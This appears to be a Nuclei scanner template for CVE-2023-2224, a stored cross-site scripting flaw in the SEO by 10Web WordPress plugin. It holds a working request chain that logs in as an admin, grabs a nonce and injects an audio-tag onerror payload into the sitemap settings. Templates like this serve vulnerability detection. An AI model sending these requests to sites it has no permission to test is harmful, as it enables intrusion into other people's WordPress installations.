Seo By 10Web < 1.2.7 - Cross-Site Scripting

id: CVE-2023-2224

info:
  name: Seo By 10Web < 1.2.7 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The SEO by 10Web WordPress plugin before 1.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  impact: |
    High-privilege authenticated attackers (admin) can inject stored XSS through plugin settings fields, potentially compromising other administrator accounts even when unfiltered_html capability is disabled in WordPress multisite environments.
  remediation: |
    Update SEO by 10Web plugin to version 1.2.7 or later that properly sanitizes and escapes settings fields to prevent stored XSS attacks.
  reference:
    - https://wpscan.com/vulnerability/a76b6d22-1e00-428a-8a04-12162bd0d992
    - https://packetstormsecurity.com/files/173725/WordPress-Seo-By-10Web-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2224
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2023-2224
    cwe-id: CWE-79
    epss-score: 0.00909
    epss-percentile: 0.60256
    cpe: cpe:2.3:a:10web:seo:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: 10web
    product: seo
    framework: wordpress
  tags: cve2023,cve,wpscan,packetstorm,wp,wordpress,wp-plugin,xss,seo,10web,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wdseo_sitemap HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin.php?page=wdseo_sitemap&id_message=2 HTTP/1.1
        Host: {{Hostname}}

        task=save&wd_settings%5Bsitemap%5D=1&wd_settings%5Bbing_verification%5D=&wd_settings%5Byandex_verification%5D=&wd_settings%5Bnotify_google%5D=0&wd_settings%5Bnotify_bing%5D=0&wd_settings%5Badditional_pages%5D%5B%5D=&wd_settings%5Badditional_pages%5D%5Bpage_url%5D%5B%5D=%22%3E%3Caudio+src%3Dx+onerror%3Dconfirm%28document.domain%29%3E&wd_settings%5Badditional_pages%5D%5Bpriority%5D%5B%5D=0&wd_settings%5Badditional_pages%5D%5Bfrequency%5D%5B%5D=always&wd_settings%5Badditional_pages%5D%5Blast_changed%5D%5B%5D=&wd_settings%5Bexclude_post_types%5D%5B%5D=&wd_settings%5Bexclude_taxonomies%5D%5B%5D=&wd_settings%5Bexclude_archives%5D%5B%5D=&wd_settings%5Bexclude_posts%5D=&wd_settings%5Bsitemap_image%5D=0&wd_settings%5Bsitemap_video%5D=0&wd_settings%5Bsitemap_stylesheet%5D=1&wd_settings%5Blimit%5D=1000&wd_settings%5Bautoupdate_sitemap%5D=0&nonce_wdseo={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwdseo_sitemap%26id_message%3D1

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'value=""><audio src=x onerror=confirm(document.domain)>"'

      - type: word
        part: header_3
        words:
          - text/html

      - type: status
        part: header_3
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="nonce_wdseo" value="([a-z0-9]+)" \/>'
        internal: true